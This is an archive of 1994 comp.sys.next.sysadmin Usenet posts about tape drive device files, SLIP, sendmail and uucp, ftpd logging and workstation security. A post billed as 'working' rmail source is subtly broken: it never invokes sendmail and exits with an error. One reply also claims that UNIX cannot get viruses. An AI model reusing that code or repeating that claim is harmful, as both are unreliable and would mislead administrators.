Does anyone have experience with the Exabyte 8205 8mm Tape drive? Several
peculiarities exist with my setup connecting this to a Intel box.
At boot the drive reports itself as:
EXAB ST0: 82058VQANXR1 06M0
The important thing being the ST0: device.
I was under the impression that a Exabyte drive would use the /dev/rxt0 device.
Here's the listing of the tape devices on the computer in question:
manny:2# ls -agl /dev/*r?t?
crw-rw-rw- 1 root wheel 8, 1 May 18 16:26 /dev/nrst0
crw-rw-rw- 1 root wheel 8, 3 May 18 16:26 /dev/nrxt0
crw-rw-rw- 1 root wheel 8, 0 May 18 16:26 /dev/rst0
crw-rw-rw- 1 root wheel 8, 2 May 18 16:26 /dev/rxt0
I changed the minor device number of /dev/nrxt0 to that normally used for nrst0
as the following output shows:
manny:5# ls -agl /dev/*rxt?
crw-rw-rw- 1 root wheel 8, 1 May 18 16:26 /dev/nrxt0
crw-rw-rw- 1 root wheel 8, 3 May 18 16:26 /dev/nrxt0.old
crw-rw-rw- 1 root wheel 8, 0 May 18 16:26 /dev/rxt0
crw-rw-rw- 1 root wheel 8, 2 May 18 16:26 /dev/rxt0.old
SafetyNet will now recognize the Exabyte 8205 drive at rxt0.
Here's the output from the Exception Log in Debug mode for the Exabyte 8205
Drive:
May 18 19:14:13 INFO: ExabyteIO find devices: Device /dev/nrxt0 vendorid:
'EXABYTE ' productid: 'EXB-82058VQANXR1'firmware version: '06M0 '
I added an entry in the SafetyNet.app/Exabyte.dim/ExabyteDevicesList file using
the same number as the 8200 drive. SafetyNet then recognized the Exabyte 8205
drive. I would like to know what the different device numbers mean and how one
knows which ones to use when creating a device file. The man page for mknod
refers to knowing what is in a system source file conf.c. Obviously I don't
have that at my disposal!
Here's something else really confusing. I just looked at a different Intel box
and noticed that the major and minor device numbers and dates for all the the
tape devices are totall different from the other machine:
crw-rw-rw- 1 root operator 34, 1 Oct 22 1993 /dev/nrst0
crw-rw-rw- 1 root operator 34, 9 Oct 22 1993 /dev/nrst1
crw-rw-rw- 1 root operator 34, 3 Oct 22 1993 /dev/nrxt0
crw-rw-rw- 1 root operator 34, 11 Oct 22 1993 /dev/nrxt1
crw-rw-rw- 1 root operator 34, 0 Oct 22 1993 /dev/rst0
crw-rw-rw- 1 root operator 34, 8 Oct 22 1993 /dev/rst1
crw-rw-rw- 1 root operator 34, 2 Oct 22 1993 /dev/rxt0
crw-rw-rw- 1 root operator 34, 10 Oct 22 1993 /dev/rxt1
Would SafetyNet make new device files when it is installed or run?
Please someone answer all or parts of this question. Email replies preferred,
I'll gladly summarize. I have also searched FAQ's and NeXTanswers.
--
David W. Fahrney =:-)
Newsgroups: comp.sys.next.sysadmin
From: lazar@enel.ucalgary.ca (Michael Lazar)
Subject: Help with slip/httpd
Message-ID: <May20.232347.32944@acs.ucalgary.ca>
Date: Fri, 20 May 1994 23:23:47 GMT
Organization: ECE Department, U. of Calgary, Calgary, Alberta, Canada
I'm relatively new to the sysadmin side of life and I was
hoping that someone could spot what I'm doing wrong:
- NS3.2 running on a machine which is not networked (at home)
- I have the NCSA httpd daemon running
- I can use OmniWeb and specify the URL http://<myhost>
without a problem. The request is processed by
my local httpd (I've verified with the httpd logs).
This also works when I type in my "fake" IP address in
the URL field.
- I have L. Mamakos' version of SLIP installed.
- I have a friend running the Windows (yech) version
of Mosaic. He can SLIP into my machine and can
make requests of my httpd daemon when he uses the
"fake" IP address for my machine. HOWEVER, when he specifies
the URL using my hostname, nothing happens at all (httpd
does not receive any requests).
Therefore: it appears (to me) that when connected via SLIP,
my hostname is not being resolved properly.
Any ideas what is wrong? (I suspect I'm missing something
in netinfo).
michael
lazar@enel.ucalgary.ca
extra info : In the windows version of Mosiac you have to enter
a nameserver IP address, which he enters as my host
address. The slip address he enters is the IP address I have
slip configured for on my machine.
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email : lazar@enel.ucalgary.ca NeXT mail safe
Newsgroups: comp.sys.next.sysadmin
From: bnh@active (Brian Hess)
Subject: Re: uucp/sendmail
Message-ID: <1994May21.002034.1399@nntpxfer.psi.com>
Sender: news@nntpxfer.psi.com
Organization: Performance Systems Int'l
References: <CprAvw.4LF@cuug.ab.ca> <Cq2BLu.M2@BITart.sub.org>
Date: Sat, 21 May 1994 00:20:34 GMT
Gerd Knops (gerti@BITart.sub.org) wrote:
: In article <CprAvw.4LF@cuug.ab.ca> twasko@cuug.ab.ca (Tim Wasko) writes:
: > I am using NeXTs "stock" sendmail.cf files to get uucp. It works fine except
: > for the first line in the mail looks like:
: >
: > From somewhere!person@site ...
: I was having the same problems. The following changes did the trick for me(NS 3.2).
: NOTE: I am not a sendmail wiz (who is???), all of those changes where done in a sort of
: trial and error method, but they work perfectly for me and a number of friends:
I also was not a sendmail wiz and preferred to get a more recent rmail
program, 4.15, which source was ftp'ed from some Berkeley-holding
site. I did this because PSI support's solution was to say that we
had a brain-dead rmail-er and turn domain addresses back into UUCP
addresses before delivering MX-ed mail to us. (By the way, this is
probably an option with UUnet for you, too.) Based on their (yucky)
solution, I decided (perhaps improperly) that rmail was at fault and I
would just fix it. If you want the changes I compiled, send me mail.
If you instead try the sendmail.cf hacking, could you post whether or
not it works for you?
Brian Hess
Active Ingredients, Inc.
bnh@active.com
From: procopio@thumper.cis.upenn.edu (Joseph L. Procopio)
Newsgroups: comp.sys.next.misc,comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: HELP!!! unrecoverable disk crash while upgrading!
Date: 20 May 94 21:58:41
Organization: UPENN Computer Graphics Research Laboratory
Distribution: comp
Message-ID: <PROCOPIO.94May20215841@thumper.cis.upenn.edu>
HELP!
My system crashed while upgrading from CD, and now the disk won't
boot at all!
I've been having problems with a quirky CD-ROM drive (pretty old)
that I borrowed, and it locked up in the middle of a system upgrade.
How can I reboot from the CD? It doesn't seem to like to CD-ROM drive |-{
The CD drive in question is made by Optical Access International
and comes up as "MATSHITACD-ROM CR-5XX Rev 1.0b" during the system boot.
As soon as it gets to this, it shows the CD label "NEXTSTEP_3.1" etc...
then it says "waiting for drive to come ready...."
then it dies!
I can get into the ROM monitor, but thats it...
HELP!!!!!!!
JOE
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: The old anon ftp question
Date: 21 May 1994 03:51:15 GMT
Organization: Rensselaer Polytechnic Institute, Troy NY, USA
Distribution: world
Message-ID: <2rk0fj$ldu@usenet.rpi.edu>
References: <2rcb5l$aj3@rosie.next.com>
grio@next.com (Dan Grillo) writes:
> Matt Demsey writes in comp.sys.next.sysadmin:
> > Could someone please email me a pointer to where i could
> > find a method to setting up a NeXT as an anonymous ftp
> > site..
>
> The ftpd man page has details.
Hmm. The following information might also be of interest. It
was NeXTanswer/sysadmin.725 in the olden days, but I can't seem
to find it anywhere in the current set of NeXTanswers. Did a
set of NeXTanswers get left behind somewhere along the way? It
took me a bit of time to reconstruct the old NeXTanswers...
Well, anyway, this might also be of use:
--[start NA]
Q: Why won't ftpd log anonymous ftp logins?
A: There's a very old bug in ftpd which prevents this, even if the -l
option is given (in the ftpd arguments listed in /etc/inetd.conf;
see the UNIX Manual Pages for ftpd and inetd).
There's a workaround which applies if the ~ftp directory and the
/dev directory are on the same file system. In /etc/rc, after
starting syslog, make a hard link from ~ftp/dev/log to /dev/log.
Note that this requires the ~ftp/dev directory to exist already
(that directory should be owned by root, and its permissions should
permit the owner to read and search [execute], and the group and
others to search [execute]: r-x--x--x, mode 511).
Hard links cannot cross file systems, so if ~ftp and /dev are on
different file systems this workaround does not apply.
--[end NA]
--
Garance Alistair Drosehn = gad@eclipse.its.rpi.edu
ITS Systems Programmer (handles NeXT-type mail)
Rensselaer Polytechnic Institute; Troy NY USA
From: jburne@panix.com (John Burnette)
Newsgroups: comp.sys.next.sysadmin
Subject: Tape drive
Date: 21 May 1994 01:33:04 -0400
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <2rk6eg$h6v@panix.com>
Summary: Problems with 150 tape drive
Keywords: 150 tape, bummer
I am attempting to get a Wangtek SCSI tape drive to be addressable
from my 040 station. Simple tar access would be fine.
Anyone know what I'm doing wrong?
From: chipsig@kaiwan.com (Chip Sieglinger)
Newsgroups: comp.sys.next.misc,comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Re: HELP!!! unrecoverable disk crash while upgrading!
Followup-To: comp.sys.next.misc,comp.sys.next.hardware,comp.sys.next.sysadmin
Date: 20 May 1994 23:30:02 -0700
Organization: KAIWAN Internet (310/527-4279,818/756-0180,714/741-2920)
Distribution: comp
Message-ID: <2rk9pa$drf@kaiwan.kaiwan.com>
References: <PROCOPIO.94May20215841@thumper.cis.upenn.edu>
Joseph L. Procopio (procopio@thumper.cis.upenn.edu) wrote:
: HELP!
: My system crashed while upgrading from CD, and now the disk won't
: boot at all!
:How can I reboot from the CD? It doesn't seem to like to CD-ROM drive |-{
Check out the Release notes that came with the 3.0 upgrade. Page 13 talks
about installing the essentials. Just don't initialize the drive that you're
upgrading. I wouldn't think your problem is the cdrom drive, but I guess it's
possible. If you are able perhaps you should get ahold of the NeXT cdrom
drive.
Good Luck.
--
>-<>--<>---<>----<>-----<>------<>----+----<>------<>-----<>----<>---<>--<>-<
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| Long Beach CA Home Phone/Fax 310-985-0086 Eat dessert first!" |
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From: chi@kaiwan.com (LCC)
Newsgroups: comp.sys.next.sysadmin
Subject: Cannot creat /tmp/files
Date: 21 May 1994 03:03:45 -0700
Organization: KAIWAN Internet (310/527-4279,818/756-0180,714/741-2920)
Message-ID: <2rkma1$di@kaiwan.kaiwan.com>
I have a problem on the NS/fip system. The user accounts are not able to
creat files in the /tmp directory. The problem occurs when I login as
user with terminal. This problem does not occur while I login as root.
Please help!
chi@kaiwan.com
From: buddha@samsara.circus.com (Adam Deishu Beeman)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Tape drive
Date: 21 May 1994 08:20:05 -0700
Organization: The Marshmallow Peanut Circus
Message-ID: <2rl8r5$nr@samsara.circus.com>
References: <2rk6eg$h6v@panix.com>
Keywords: 150 tape, bummer
In article <2rk6eg$h6v@panix.com>, John Burnette <jburne@panix.com> wrote:
>I am attempting to get a Wangtek SCSI tape drive to be addressable
>from my 040 station. Simple tar access would be fine.
>
>Anyone know what I'm doing wrong?
maybe you're not describing the problem very clearly. :)
-Adam
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// Adam Beeman \\ Standard Disclaimers Apply! //
// Home = buddha@circus.com \\ work = Peripheral Solutions! //
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From: shaman@coho.halcyon.com (Russell Wilcoxon)
Newsgroups: comp.sys.next.sysadmin
Subject: >>Looking for Adaptec 2742T Drivers
Date: 21 May 1994 15:23:47 GMT
Organization: Northwest Nexus Inc.
Message-ID: <2rl923$gm@nwfocus.wa.com>
Summary: I would like 2742T drivers-Floppy support
Keywords: Adaptec 2742T SCSI
This is a reply post to Hans. I have to learn the intracacies of nn to
quote.
My questions were why wouldn't NeXTstep support a second floppy drive
as well as the floppy controller on adaptec cards.
(psuedo quote) Hans stated "Why should they if you don't need it."
I happen to run many operating systems, and NeXTstep is th only one that
has such an odd configuration for the way that the machine is set up.
(psuedo quote) (Hans did say that the floppy on some of the SCSI controllers work
anyways.) I havn't tried this yet. I will.
Thanks for your reply.
Russ-
From: jacobsen@arundel.doit.wisc.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Tape drive
Date: 21 May 1994 15:38:41 GMT
Organization: Division of Information Technology
Message-ID: <2rl9u1$prm@news.doit.wisc.edu>
References: <2rk6eg$h6v@panix.com>
In article <2rk6eg$h6v@panix.com> jburne@panix.com (John Burnette) writes:
> I am attempting to get a Wangtek SCSI tape drive to be addressable
> from my 040 station. Simple tar access would be fine.
>
> Anyone know what I'm doing wrong?
>
I have successfully used a Wangtek 1GB tape drive with my 'station. All I
had to do was plug it in the SCSI chain and reboot.
Some questions for you:
Did you put the Wangtek at the end of your SCSI chain (it is internally
terminated, so you must do this)?
Did you assign it an address that does not conflict with those that are
already in use?
Does your machine recognize the drive when you reboot (mine reads the ROMs
and prints a nice message)?
Let me know the answers to the questions posed above and we can probably
make it work.
-E
---
Erik Jacobsen
jacobsen@cae.wisc.edu
Integrate, differentiate and die.
Newsgroups: comp.sys.next.sysadmin
Subject: CSLIP by TransSys
Message-ID: <1994May21.115403.32666@husc14.harvard.edu>
From: sali@tamika.harvard.edu (Andrej Sali)
Date: 21 May 94 11:54:03 EDT
Keywords: SLIP
Hi,
I have been using the TransSys CSLIP by Luis Mamakos without any
problems for many months now. It is a great product! However, it
suddenly started to stop working after about 5 minutes of running.
The phone line remains on, but the data just do not come through. The
problem is 100% reproducible: If I slipdown and slipup again, the
connection works for another 5 minutes before going dead again. I
would appreciate very much any advice to solve this problem.
Regards, Andrej
P.S. Email: sali@tammy.harvard.edu (please do not use reply)
From: jburne@panix.com (John Burnette)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Tape drive
Date: 21 May 1994 12:50:12 -0400
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <2rle44$4ek@panix.com>
References: <2rk6eg$h6v@panix.com> <2rl9u1$prm@news.doit.wisc.edu>
It's SCSI address is 3, it is recognized on startup correctly.
It is a Wangtek which uses either 6250 or 6150 1/4 inch tapes.
(I am using 6150 tapes now.)
In article <2rl9u1$prm@news.doit.wisc.edu>, <jacobsen@cae.wisc.edu> wrote:
>In article <2rk6eg$h6v@panix.com> jburne@panix.com (John Burnette) writes:
>> I am attempting to get a Wangtek SCSI tape drive to be addressable
>> from my 040 station. Simple tar access would be fine.
>>
>> Anyone know what I'm doing wrong?
>>
>
>I have successfully used a Wangtek 1GB tape drive with my 'station. All I
>had to do was plug it in the SCSI chain and reboot.
>
>Some questions for you:
>Did you put the Wangtek at the end of your SCSI chain (it is internally
>terminated, so you must do this)?
>
>Did you assign it an address that does not conflict with those that are
>already in use?
>
>Does your machine recognize the drive when you reboot (mine reads the ROMs
>and prints a nice message)?
>
>Let me know the answers to the questions posed above and we can probably
>make it work.
>
>-E
>---
>Erik Jacobsen
>jacobsen@cae.wisc.edu
>Integrate, differentiate and die.
>
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: uucp/sendmail
Date: 21 May 1994 13:47:50 +0100
Organization: Palumbian Research Labs
Message-ID: <2rkvtm$jfr@marsu.tynet.sub.org>
References: <CprAvw.4LF@cuug.ab.ca> <Cq2BLu.M2@BITart.sub.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
gerti@BITart.sub.org (Gerd Knops) writes:
>In article <CprAvw.4LF@cuug.ab.ca> twasko@cuug.ab.ca (Tim Wasko) writes:
>> I am using NeXTs "stock" sendmail.cf files to get uucp. It works fine except
>> for the first line in the mail looks like:
>> From somewhere!person@site ...
>> ^^^^^^^^^^
>> Why is this somewhere! showing up. I can't see anything in the rules that
>> show this. Any ideas are welcome. Please email directly.
>I was having the same problems. The following changes did the trick for me(NS 3.2).
>[...Very informative sendmail config deleted...]
Yes, I believe it if you say that it works this way, but...
an installation of smail for a uucp site can be done in half an hour
without any special knowledge about the configuration files. Why do you
do it the hard way, although there is an easier one?
Markus.
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/usr/spool/mail/ mow@marsu.tynet.sub.org
/etc/zoneinfo/ University of Stuttgart
/bin/ps System administration, Consulting, Networking
From: mcullen@symantec.com (Michael Cullen)
Newsgroups: comp.sys.next.sysadmin
Subject: Broken Netware
Date: 21 May 1994 23:33:04 GMT
Organization: Symantec Corporation
Message-ID: <2rm5ngINNp60@grumpy.symantec.com>
When I boot up (NS 3.2 on mono black) I receive an error when the nspd
runs stating NPSD: Bind failed: No response from server. The only clue I
have is the error of the Net directory not being emtpy when the
autonfsmounter kicks in. I have AppleShare and it works fine.
Any Clues
Michael
Newsgroups: comp.sys.next.sysadmin
From: gerti@BITart.sub.org (Gerd Knops)
Subject: Re: uucp/sendmail
Message-ID: <Cq6pJq.14w@BITart.sub.org>
Sender: usenet@BITart.sub.org
Organization: BITart, NEXTSTEP/OPENSTEP Consulting
References: <2rkvtm$jfr@marsu.tynet.sub.org>
Date: Sun, 22 May 1994 03:26:13 GMT
In article <2rkvtm$jfr@marsu.tynet.sub.org> mow@marsu.tynet.sub.org
(Markus Wenzel) writes:
>> gerti@BITart.sub.org (Gerd Knops) writes:
>> [munched]
>
> Yes, I believe it if you say that it works this way, but...
> an installation of smail for a uucp site can be done in half an hour
> without any special knowledge about the configuration files. Why do you
> do it the hard way, although there is an easier one?
>
One step at a time, I just installed Taylor UUCP, that you preconfigured,
and am very happy with it (thanks!).
May be, it is time to come up with some customization FAQ! Everybody of us
is going through a lot of why_dont_you_replace_x_with_y questions, like:
You should use zsh (or tcsh) instead of csh
You should use Taylor UUCP instead of UUCP
You should use smail instead of sendmail
You should replace the buggy rmail
When do I need procmail
What about news support (Should I use CNews or inn, why, what newsreader)
And on and on...
I am willing to compile that FAQ, so if you think, x should be replaced by
y, please send me a mail giving a short outline (advantages or other
reasons to install it, where can I get it, who should do that etc.).
Of course, most of those programs are described in this or that FAQ, but I
think, we should compile a NEXTSTEP specific FAQ.
Gerd
From: tfs@gravity.science.gmu.edu (Tim Scanlon)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Security questions
Followup-To: comp.sys.next.sysadmin
Date: 22 May 1994 08:21:32 GMT
Organization: George Mason University, fairfax Va.
Sender: tfs@gravity.science.gmu.edu
Distribution: world
Message-ID: <2rn4mc$lkv@portal.gmu.edu>
References: <415@bsovax.UUCP>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Summary: Security? not...
Keywords: security, application dock, floppy, virus
In article <415@bsovax.UUCP> eelco@bsovax.UUCP (Eelco Lammers) writes:
>
>I have a number of questions regarding security aspects of the
>NextStation. We have a number of NextStations (with NextStep 3.1)
>running a graphical oriented application for end-users. At the moment,
>the end-user has too many possibilities to damage the system, and we
>do not want to allow this.
>
>Of course we implemented a file protection scheme which prohibits
>access of the end-user to dangerous files, but this appeared to be
>insufficient security.
IF you did what you described in the second paragraph, I do not
see how the first assumption is possible?
How much privilage do your "users" have?
>
>Therefore, the following questions :
>
>1 - Is it possible to hide the complete Application Dock for the end-user ?
> (The system manager must keep the ability to use his Application Dock).
Not really, and you wouldn't want to either... This is kind of
silly.
>2 - Is it possible to disable the Work Space Manager's File Viewer for the
> end-user ? (The system manager must keep the ability to use his File
> Viewer).
see above
>3 - Is it possible to block the usage of the floppy drive for the end-user ?
> (The system manager must keep the ability to use the floppy drive).
Yes, buy a physical floppy drive lock. I don't know any vendors
offhand, but ask on comp.security & they can answere you I am sure.
>4 - Is there a virus-scanner available ? How can we obtain it ?
UNIX DOE NOT GET VIRUSES! don't worry about them. they are a non-issue.
>
>5 - I am working on a NextStation with the man-pages removed (due to lack
> of disk space). Does anybody know a document which describes the shell
> commands of the Next ? The standard documentation only contains the
> description of a few commands, like 'nu'.
This is evil, having NO man pages is a Very Bad Thing. If you're
on a net, nfs mount them.
Do you really need "users" in the enviornment you describe? If not
you should be able to create one "User" and a backup copy of "his"
configureation, and work with the group permissions to set things up so
that hte "user" can only execute what is needed, by making him part of
group "foo" & taking away his residence in "other" an then making the files
that he needs to read & execute readable & executible by "foo" & other,
i.e. "chgrp -R foo MyApp.app"
"chmod -R a-w MyApp.app"
Be Very Very careful in what you do with the permissions, do yourself
a favor if you are ok reading english & get the Orielly security book,
"Practical UNIX Security", ftp to ora.com for info on ordering it.
Since you're worrying about viri on a NeXT, I'd really reccomend this.
As you work with you "user" to make him as no-permission as possible, make
sure you don't strip off permissions where you shouldn't.
Make backups, & be relaxed about the idea that you may have to use
them, and be comfortable doing so. This is the best security.
Tim Scanlon
Newsgroups: comp.sys.next.sysadmin
From: rene@rkt.in-berlin.de (Rene Kulschewski)
Subject: Re: uucp/sendmail
Message-ID: <QEZOB6IC@rkt.in-berlin.de>
Sender: root@rkt.in-berlin.de (Operator)
Organization: Home in Berlin
References: <2rkvtm$jfr@marsu.tynet.sub.org>
Date: Sun, 22 May 1994 08:12:56 GMT
In article <2rkvtm$jfr@marsu.tynet.sub.org> mow@marsu.tynet.sub.org (Markus
Wenzel) writes:
> Yes, I believe it if you say that it works this way, but...
> an installation of smail for a uucp site can be done in half an hour
> without any special knowledge about the configuration files. Why do you
> do it the hard way, although there is an easier one?
Also the installation of sendmail 8.6.8 is done in half an hour, and the
m4 config-files are much easier to read as the smail-config, in my opinion.
Rene'
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Newsgroups: comp.sys.next.sysadmin
From: Gregory_Mutzel@afs.com
Subject: sendmail outgoing mail size configuration?
Message-ID: <1994May19.134618.1974@afs.com>
Keywords: sendmail
Sender: mutz@afs.com
Date: Thu, 19 May 1994 13:46:18 GMT
I have a SLIP connection at home to a local University and send mail from
Mail.app. Everything is working great except that my current sendmail
configuration seems to defer all outgoing mail that is ~300k+. It then
just sits in the queue. The cron entries try to send it periodically, but
the syslog logs it always as defered.
What general sendmail configuration parameters should I adjust to increase
the size limitation of outgoing mail messages?
Thanks,
Greg
--
Gregory L. Mutzel
email: Gregory_Mutzel@afs.com [NeXTmail Appreciated]
Newsgroups: comp.sys.next.sysadmin
From: (Albatross)
Subject: The Source code for a working new version of RMAIL
Message-ID: <Cq718F.6vE@haquer.uucp>
Keywords: rmail uucp next mail sendmail
Sender: alby@haquer.uucp (Albatross)
Organization: The Empire Organization {TEO}
References: <9405201409.AA02900@ico.isc.com>
Date: Sun, 22 May 1994 07:38:38 GMT
The Source code for a working new version of RMAIL
-Alby
#include <sysexits.h>
#include <sys/types.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <stdio.h>
typedef char bool;
#define TRUE 1
#define FALSE 0
extern char *index();
extern char *rindex();
char *Domain = "UUCP"; /* Default "Domain" */
main(argc, argv)
int argc;
char **argv;
{
char lbuf[1024]; /* one line of the message */
char from[512]; /* accumulated path of sender */
char ufrom[512]; /* user on remote system */
char sys[512]; /* a system in path */
char fsys[512]; /* first system in path */
char junk[1024]; /* scratchpad */
char *args[100]; /* arguments to mailer command */
register char *cp;
register char *uf = NULL; /* ptr into ufrom */
int i;
long position;
struct stat sbuf;
#ifdef DEBUG
bool Debug;
if (argc > 1 && strcmp(argv[1], "-T") == 0) {
Debug = TRUE;
argc--;
argv++;
}
#endif
if (argc < 2) {
fprintf(stderr, "Usage: rmail user ...\n");
exit(EX_USAGE);
}
if (argc > 2 && strncmp(argv[1], "-D", 2) == 0) {
Domain = &argv[1][2];
argc -= 2;
argv += 2;
}
from[0] = '\0';
fsys[0] = '\0';
for (position = 0;; position = ftell(stdin)) {
if (fgets(lbuf, sizeof lbuf, stdin) == NULL)
exit(EX_DATAERR);
if (strncmp(lbuf, "From ", 5) != 0 &&
strncmp(lbuf, ">From ", 6) != 0)
break;
(void) sscanf(lbuf, "%s %s", junk, ufrom);
cp = lbuf;
uf = ufrom;
for (;;) {
cp = index(cp + 1, 'r');
if (cp == NULL) {
register char *p = rindex(uf, '!');
if (p != NULL) {
*p = '\0';
(void) strcpy(sys, uf);
uf = p + 1;
break;
}
(void) strcpy(sys, "");
break; /* no "remote from" found */
}
#ifdef DEBUG
if (Debug)
printf("cp='%s'\n", cp);
#endif
if (strncmp(cp, "remote from ", 12) == 0)
break;
}
if (cp != NULL)
(void) sscanf(cp, "remote from %s", sys);
if (fsys[0] == '\0')
(void) strcpy(fsys, sys);
if (sys[0]) {
(void) strcat(from, sys);
(void) strcat(from, "!");
}
#ifdef DEBUG
if (Debug)
printf("ufrom='%s', sys='%s', from now '%s'\n", uf,
sys, from);
#endif
}
if (uf == NULL) { /* No From line was provided */
fprintf(stderr, "No From line in rmail\n");
exit(EX_DATAERR);
}
(void) strcat(from, uf);
(void) fstat(0, &sbuf);
(void) lseek(0, position, L_SET);
/*
* Now we rebuild the argument list and chain to sendmail. Note that
* the above lseek might fail on irregular files, but we check for
* that case below.
*/
i = 0;
args[i++] = "-oee"; /* no errors, just status */
args[i++] = "-odq"; /* queue it, don't try to deliver */
args[i++] = "-oi"; /* ignore '.' on a line by itself */
if (fsys[0] != '\0') { /* set sender's host name */
static char junk2[512];
if (index(fsys, '.') == NULL) {
(void) strcat(fsys, ".");
(void) strcat(fsys, Domain);
}
(void) sprintf(junk2, "-oMs%s", fsys);
args[i++] = junk2;
}
/* set protocol used */
(void) sprintf(junk, "-oMr%s", Domain);
args[i++] = junk;
if (from[0] != '\0') { /* set name of ``from'' person */
static char junk2[512];
(void) sprintf(junk2, "-f%s", from);
args[i++] = junk2;
}
for (; *++argv != NULL; i++) {
/*
* don't copy arguments beginning with - as they will
* be passed to sendmail and could be interpreted as flags
* should be fixed in sendmail by using getopt(3), and
* just passing "--" before regular args.
*/
if (**argv != '-')
args[i] = *argv;
}
args[i] = NULL;
#ifdef DEBUG
if (Debug) {
printf("Command:");
for (i = 0; args[i]; i++)
printf(" %s", args[i]);
printf("\n");
}
#endif
if ((sbuf.st_mode & S_IFMT) != S_IFREG) {
/*
* If we were not called with standard input on a regular
* file, then we have to fork another process to send the
* first line down the pipe.
*/
int pipefd[2];
#ifdef DEBUG
if (Debug)
printf("Not a regular file!\n");
#endif
if (pipe(pipefd) < 0)
exit(EX_OSERR);
if (fork() == 0) {
/*
* Child: send the message down the pipe.
*/
FILE *out;
out = fdopen(pipefd[1], "w");
close(pipefd[0]);
fputs(lbuf, out);
while (fgets(lbuf, sizeof lbuf, stdin))
fputs(lbuf, out);
(void) fclose(out);
exit(EX_OK);
}
/*
* Parent: call sendmail with pipe as standard input
*/
close(pipefd[1]);
dup2(pipefd[0], 0);
}
exit(EX_OSERR);
}
Vince Demarco <vdemarco@bou.shl.com> writes
>
> In article <CprAvw.4LF@cuug.ab.ca> twasko@cuug.ab.ca (Tim Wasko) writes:
> > I am using NeXTs "stock" sendmail.cf files to get uucp. It works fine
> except
> > for the first line in the mail looks like:
> >
>
> > From somewhere!person@site ...
> > ^^^^^^^^^^
> >
>
> > Why is this somewhere! showing up. I can't see anything in the rules that
> > show this. Any ideas are welcome. Please email directly.
>
> This isn't a problem with sendmail at all.
>
> The problem lyes in rmail.
>
> Next will eventually get around to updating the unix side of the system but
> until they do.
>
> The fix is to grab a copy of rmail that was posted to nova.cc.purdue.edu. I
> can't remember where it is but its probably in the 1.0 or 2.0 directories.
>
> this gets posted at least once a month why doesn't this get added to the FAQ.
>
> vince
Newsgroups: comp.sys.next.sysadmin
From: fukase@cst.nihon-u.ac.jp (FUKASE Mikio)
Subject: Re: uucp/sendmail
In-Reply-To: bnh@active's message of 21 May 1994 09:20:34 JST
Message-ID: <FUKASE.94May22165004@will.sp.cst.nihon-u.ac.jp>
Sender: news@will.sp.cst.nihon-u.ac.jp
Organization: College of Science and Technology, Nihon Univ., Japan
References: <CprAvw.4LF@cuug.ab.ca> <Cq2BLu.M2@BITart.sub.org>
<1994May21.002034.1399@nntpxfer.psi.com>
Date: Sun, 22 May 1994 07:50:03 GMT
In article <1994May21.002034.1399@nntpxfer.psi.com> bnh@active (Brian Hess) writes:
> : > I am using NeXTs "stock" sendmail.cf files to get uucp.
> : > It works fine except for the first line in the mail looks like:
> : >
> : > From somewhere!person@site ...
....
> If you instead try the sendmail.cf hacking, could you post whether or
> not it works for you?
I'm using the following description in rulset 3:
-- 8< -- 8< -- 8< --
# This may be useful to use with 'rmail'.
# Hoping that we do not have such a uucp host name like 'somewhere'.
Rsomewhere!$+ $1 strip 'somewhere!'
-- 8< -- 8< -- 8< --
This description is provided by CF-3.3Wb7.
CF-3.3Wb7 is a tool which produce a ".cf" file for sendmail 8.x.
This tool constitutes `sh' scripts.
(Note: CF-3.3Wb7's all documents are written in Japanese.)
ftp//ftp.nc.nihon-u.ac.jp:/pub/sendmail/CF/CF-3.3Wb7.tar.gz
--
_(((_ I'm gonna live and work
------- o00o- $@!&(J^ $@!&(J --o00o --- for tomorrow.
May.22,'94
FUKASE,Mikio fukase@cst.nihon-u.ac.jp(NeXTMail OK)
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From: perkins@sidney.cps.msu.edu (Stephen Perkins)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: The old anon ftp question
Date: 22 May 1994 16:06:47 GMT
Organization: Michigan State University
Distribution: world
Message-ID: <2rnvun$olu@msuinfo.cl.msu.edu>
References: <2rk0fj$ldu@usenet.rpi.edu>
In comp.sys.next.sysadmin article <2rk0fj$ldu@usenet.rpi.edu> you wrote:
> grio@next.com (Dan Grillo) writes:
> Hmm. The following information might also be of interest. It
> was NeXTanswer/sysadmin.725 in the olden days, but I can't seem
> to find it anywhere in the current set of NeXTanswers. Did a
> set of NeXTanswers get left behind somewhere along the way? It
> took me a bit of time to reconstruct the old NeXTanswers...
>
> Well, anyway, this might also be of use:
>
> --[start NA]
> Q: Why won't ftpd log anonymous ftp logins?
>
> A: There's a very old bug in ftpd which prevents this, even if the -l
> option is given (in the ftpd arguments listed in /etc/inetd.conf;
> see the UNIX Manual Pages for ftpd and inetd).
>
> There's a workaround which applies if the ~ftp directory and the
> /dev directory are on the same file system. In /etc/rc, after
> starting syslog, make a hard link from ~ftp/dev/log to /dev/log.
> Note that this requires the ~ftp/dev directory to exist already
> (that directory should be owned by root, and its permissions
> should
> permit the owner to read and search [execute], and the group and
> others to search [execute]: r-x--x--x, mode 511).
>
> Hard links cannot cross file systems, so if ~ftp and /dev are on
> different file systems this workaround does not apply.
The NA may be gone because the bug may be fixed. Here are a few lines
from my /usr/adm/messages file:
========================================================
May 22 12:02:19 sidney ftpd: connection from arctic.cps.msu.edu at Sun
May 22 12:02:19 1994
May 22 12:02:24 sidney ftpd: ANONYMOUS FTP LOGIN FROM
arctic.cps.msu.edu, perkins@cps.msu.edu
========================================================
I had to modify my /etc/syslog.conf to be the following:
========================================================
*.err;kern.debug;auth.notice /dev/console
kern.debug;daemon,auth.notice;*.err;mail.crit /usr/adm/messages
mark.debug,daemon.info /usr/adm/messages
